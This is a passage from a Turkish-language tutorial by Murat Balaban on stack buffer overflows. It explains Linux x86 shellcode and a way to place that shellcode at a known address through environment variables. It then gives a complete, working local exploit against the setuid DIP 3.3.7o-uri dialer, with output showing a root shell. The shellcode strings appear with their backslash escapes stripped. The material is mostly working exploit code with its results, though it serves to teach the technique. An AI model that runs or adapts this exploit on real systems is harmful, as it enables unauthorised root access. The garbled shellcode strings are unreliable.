 8048455: 8d 4e 08 leal 0x8(%esi),%ecx
 8048458: 8d 56 0c leal 0xc(%esi),%edx
 804845b: cd 80 int $0x80
 804845d: 31 db xorl %ebx,%ebx
 804845f: 89 d8 movl %ebx,%eax
 8048461: 40 incl %eax
 8048462: cd 80 int $0x80
 8048464: e8 dc ff ff ff call 8048445 <main+0x5>
 8048469: 2f das
 804846a: 62 69 6e boundl 0x6e(%ecx),%ebp
 804846d: 2f das
 804846e: 73 68 jae 80484d8 <_fini+0x28>
 8048470: 00 c9 addb %cl,%cl
 
 Shell kodumuzu deneyelim:
 
 char shellcode[] =
 "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
 "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
 "x80xe8xdcxffxffxff/bin/sh";
 
 void main()
 {
 int *ret;
 
 ret = (int *)&ret + 2;
 (*ret) = shellcode;
 }
 
 
 [murat@victim murat]$ make shellcode
 cc shellcode.c -o shellcode
 [murat@victim murat]$ ./shellcode
 bash$
 
 Iste calisti!
 
 Yaptigimiz sey, main() icindeki pointer to integer olan ret degiskeninin
 adresini 2 birim (8 byte) artirarak geri donus adresinin oldugu yere gitmek,
 sonra da o bolume shellcode'umuzun adresini saklamakti. main RET yaptiginda
 geri donus adresi yerine shell kodumuzun adresini POP edildi, ve islemci
 bu adresteki instruction'lari calistirdi...
 
 -- Exploit Yazma --
 
 Simdi kendimiz bir buffer overflow hatasi olan bir kod yazip, ondan shell
 calistiralim:
 
 victim.c:
 
 char shellcode[] =
 "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
 "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
 "x80xe8xdcxffxffxff/bin/sh";
 
 char large_str[50];
 
 void main()
 {
 int i;
 char foo[12];
 
 int *ap = (int *)large_str;
 
 for (i = 0; i < 50; i += 4)
 *ap++ = shellcode;
 strcpy(foo, large_str);
 }
 
 
 [murat@victim murat]$ make victim
 cc victim.c -o victim
 [murat@victim murat]$ ./victim
 bash$
 
 Voila! Iste bu kadar. Peki ne yaptik? for dongusunde, large_str array'ine
 shellcode'umuz olan shellcode'nin adresini kopyaladik. Adres 32 bit - 4 byte
 oldugu icin, i degiskenini 4'er artiriyoruz. Daha sonra, main()'in icindeki
 12 bytelik array'e, shellcode'umuzun adresini barindiran 50 bytelik bir array
 kopyalayinca (strcpy()), geri donus adresinin uzerine large_str'nin icerigi --
 bizim shellcode'un adresi -- yazildi. Ve dolayisiyla main() cagrilmadan
 once save edilen geri donus adresi, shell kodumuzun adresi ile override
 edildi. Boylece main()'deki RET shellcode'un adresini POP ediyor ve islemci
 o adresteki instruction'lari calistirip bize shell prompt veriyor. Burda
 karistirilmamasi gereken bir nokta, strcpy()'nin kendi buffer'ini degil,
 main()'in buffer'ini overflow etmesi. Yani strcpy() CALL edilirken, ondan
 sonraki instruction'in adresi strcpy() RET ettikten sonra da eskisi gibi
 duruyor. strcpy()'nin overwrite ettigi main()'in local degiskeni olan foo.
 
 Evet, simdi burada kendi programimizin buffer'ini overflow ettik,
 shellcode'umuzun adresin biliyorduk. Peki baska bir programin buffer'ini
 overflow ederken napicaz? Shellkodumuzun hafizanin neresinde olacagini
 nereden bilecegiz? Guzel bi soru.
 
 Iki cevabi var:
 
 1. Aleph1'in paper'inda yazdigi gibi, aslinda bilemeyiz, isletim sistemi o
 kodu bi yerlere atar, biz de shell kod'un offset'ini tahmin edebiliriz. Ama
 bu su anda cok "lame" kabul edilen bir yontem.
 
 2. Akillilik edip, shell kodun adresini biz kendimiz belirleyebiliriz.
 Nasil mi?
 
 Linux ELF binary'si hafizaya yuklendigindeki hafiza haritasinin en yuksek
 adresine gdb ile detayli gozatarsak sunu goruruz:
 
 
 --------------------- 0xBFFFFFFF
 |00 00 00 00| 0xBFFFFFFB (4 tane NUL byte)
 |00 ...... | 0xBFFFFFFA (program_ismi)
 | ..................|
 |...................| 1. environment degiskeni (env[0])
 |...................| 2. environment degiskeni (env[1])
 |...................| 3. ...
 |...................| ...
 |...................| 1. argument string'i (argv[0])
 |...................| 2. argument string'i (argv[1])
 |...................| 3. ...
 | . |
 | . |
 | . |
 
 Daha once execve() nin son parametresinin environment degiskenlerini tutan
 bir string'ler array'i oldugunu soylemistik. Buraya kadar guzel, yukaridaki
 sekle bakarsaniz, biz, 1. enviroment degiskeninin *baslangic* adresini kesin
 olarak hesapliyabiliriz.
 
 envp = 0xBFFFFFFF -
 4 - (4 tane NUL byte)
 strlen(program_ismi) - (program isminin son NUL'i icermeyen boyutu)
 1 - (yukarida strlen()'in saymadigi NUL)
 strlen(envp[0]) (ilk environment degiskenin boyutu)
 
 Daha da basitlestirirsek:
 
 envp = 0xBFFFFFFA - strlen(program_ismi) - strlen(env[0])
 
 O zaman envp[0]'a shellcode'umuzu koyup, envp'yi execve'ye environment
 degiskenlerini barindiran array of strings parametresi olarak verebiliriz.
 Boylece shellcode'umuzun adresini kesin bildigimize gore, overflow
 edecegimiz buffer'i hangi adresle doldurmamiz gerektigini biliyoruz:
 
 ret = 0xBFFFFFFA - strlen(program_ismi) - strlen(shellcode);
 
 Buffer overflow ne demek biliyoruz, bufferi nasil overflow edecegimizi
 biliyoruz, return adresi nasil modifiye edebilecegimizi biliyoruz,
 shellcode'umuzun adresini de biliyoruz, sorun kalmadi, simdi ilk gercek
 exploit'umuzu yazabiliriz:
 
 - The Exploit -
 
 DIP (Dial Up IP protocol) programinin 3.3.7o-uri (8 Feb 96) versiyonunda,
 bir buffer overflow hatasi vardi. Bu program bazi Linux dagitimlarinda
 by-default setuid olarak geliyordu. Programin aldigi parametrelerden -l
 switch'i, programin icinde manipulate edilirken stpcpy() fonksiyonu ile
 bounds checking yapilmadan kopyalaniyordu. Dolayisiyla burada bir buffer
 overflow olusuyordu.
 
 DIP'in bu versiyonunda hatali olan kod asagidaki gibiydi:
 
 command.c dosyasinda, asagidaki gibi bi operasyon var:
 
 l = stpcpy(l, argv);
 
 Man stpcpy deyip bakarsaniz stpcpy fonksiyonu buffer'in sinirlari hakkinda
 hicbir kontrol uygulamadan kendisine verilen string'i digerine oylece
 kopyaliyor. Iste burada yapacagimiz sey de bu buffera shell kodumuzun
 adresini 'dikkatlice' yerlestirmek.
 
 [murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "A"x116'`
 DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
 Written by Fred N. van Kempen, MicroWalt Corporation.
 
 DIP: cannot open
 /var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
 No such file or directory
 [murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "A"x117'`
 DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
 Written by Fred N. van Kempen, MicroWalt Corporation.
 
 DIP: cannot open
 /var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
 No such file or directory
 Segmentation fault (core dumped)
 [murat@victim murat]$
 
 Yukarida gordugunuz gibi, dip'in -l switch'ine 116'dan fazla deger
 girdiginizde (mesela 117) return adresi override etmis oluyorsunuz
 Bu da stpcpy 'de bufferin kopyalandigi yerden sonra 117. byte da
 RET basliyor demek.
 
 Simdi exploit:
 
 /* /usr/sbin/dip | euid = 0 | murat@enderunix.org */
 
 #include <stdio.h>
 #include <string.h>
 #include <unistd.h>
 
 #define BUFSIZE 250
 
 char sc[] =
 "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
 "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
 "x80xe8xdcxffxffxff/bin/sh";
 
 void main()
 {
 char *env[2] = {sc, NULL};
 char buf[BUFSIZE] = "A";
 int i;
 int *ap = (int *)(buf + strlen(buf));
 int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
 
 for (i = 0; i < BUFSIZE - 4; i += 4)
 *ap++ = ret;
 
 execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
 }
 
 Simdi exploitimizi aciklayalim:
 
 BUFFER buyuklugunu 250 byte olarak belirliyoruz, ki 117'den fazla hersey olur
 burda. (Fakat bu, her bir exploit icin gecerli degil. Detaylar bir sonraki
 dokumanda.)
 
 shell kodumuzu yaziyoruz, ve simdi de main():
 
 shell kodumuzun adresini sakliyacagimiz 2 birimlik bir environment pointer
 atiyoruz. Bunun birinci elemaninda shell kodun adresini, digerine de NULL
 atiyoruz (execve() boyle istiyor):
 
 char *env[2] = {sc, NULL};
 
 Sonra buffer'imiz icin yer ariyoruz. Bu buffer'i -l switch'ine paremetre
 verecegiz. Burda bir tek A koymamiz, ALIGNMENT icin. Hafiza cogumuzun
 kullandigi 32 bit islemcilerde 4 byte'lik bolmeler halinde adreslenir.
 Dolayisiyla RET'in baslama ve bitimi arasinda 4 byte var. Bizim buffer'imiz
 117 byte'dan sonra override ediyor RET'i. 117 4'un kati degil. ona en yakin ve
 ondan kucuk 116 var. 1 eksik. O zaman buffer'a bir adet A yazalim ve de dorder
 dorder ilerleyerek RET'i shell kodun adresi ile override edelim:
 
 char buf[BUFSIZE] = "A";
 
 Adres pointer'imiz buffer'in A'dan sonraki ilk bolumune isaret ediyor:
 
 int *ap = (int *)(buf + strlen(buf));
 
 RET adresimizi kesin hesapliyoruz, detaylari icin yukariya bakin.
 
 int ret = 0XBFFFFFFA - strlen(sc) - strlen("/usr/sbin/dip");
 
 Dorder dorder ilerleyip, ret'in degerini buffer'in icine dolduralim. Burada
 neden *ap'nin degerini 4 artirmiyoruz derseniz, zaten ap bir pointer onun
 degerini bir artirmak demek, adresin degerini 4 artirmak demektir:
 
 for (i = 0; i < BUFSIZE - 4; i += 4)
 *ap++ = ret;
 
 Ve geriye kalan sadece execve. Once vulnerable programin full path'i,
 programin ismi, NULL ile biten argumanlar dizisi ve environment pointer'i
 execle'ye paremetre olarak veriyoruz:
 
 execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
 
 That's it! Iste Sonuc:
 
 [murat@victim murat]$ ./xdip
 DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
 Written by Fred N. van Kempen, MicroWalt Corporation.
 
 DIP: cannot open
 /var/lock/LCK..AÍÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ:
 No such file or directory
 bash# id
 uid=501(murat) gid=501(murat) euid=0(root) groups=501(murat)
 bash#
 
 Kaynak:
 Murat Balaban
 murat@enderunix.org
 murat@mis.boun.edu.tr
 
 
 | 
 | Yorumlar |  | Henüz Kimse Yorum Yapmamış, ilk yorumu siz ekleyin! |  | Yorum Ekleme Aparatı |  | Yorum Eklemek için lütfen sol menuden giris yapınız.. |  | Toplam 0 yorum listelendi. | 
 |